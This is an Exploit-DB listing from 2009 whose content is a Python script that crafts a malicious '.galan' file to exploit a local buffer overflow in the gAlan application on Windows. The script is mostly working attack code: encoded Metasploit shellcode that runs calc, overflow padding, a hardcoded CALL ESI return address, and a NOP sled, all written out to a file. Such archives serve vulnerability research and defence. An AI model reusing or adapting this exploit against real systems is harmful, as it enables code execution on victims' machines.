gAlan - '.galan' Universal Buffer Overflow

EDB-ID:

10345

CVE:

EDB Verified: ✓

Author:

DZ_ATTACKER

Type:

LOCAL

Exploit: / {}

Platform:

WINDOWS

Date:

2009-12-07

Vulnerable App:

```
#!/usr/bin/python

# gAlan (.galan file) Universal Buffer Overflow Exploit
# Author : Dz_Attacker
# Mail    :    dz_attacker@hotmail.fr
# Original : http://www.exploit-db.com/exploits/10339

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x48\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x33\x4f\x45\x41\x33"
"\x48\x4f\x42\x46\x48\x45\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47"
"\x42\x35\x4a\x46\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x56\x43\x36\x42\x50\x5a")

payload =  "Mjik"
payload += "\x41"*1028
payload += "\xd0\x75\x01\x10"    #glib-1_3: CALL ESI
payload += "\x90"*45
payload += shellcode

file = open("exploit.galan","w")
file.write(payload)
file.close()
```

Tags:

Advisory/Source: Link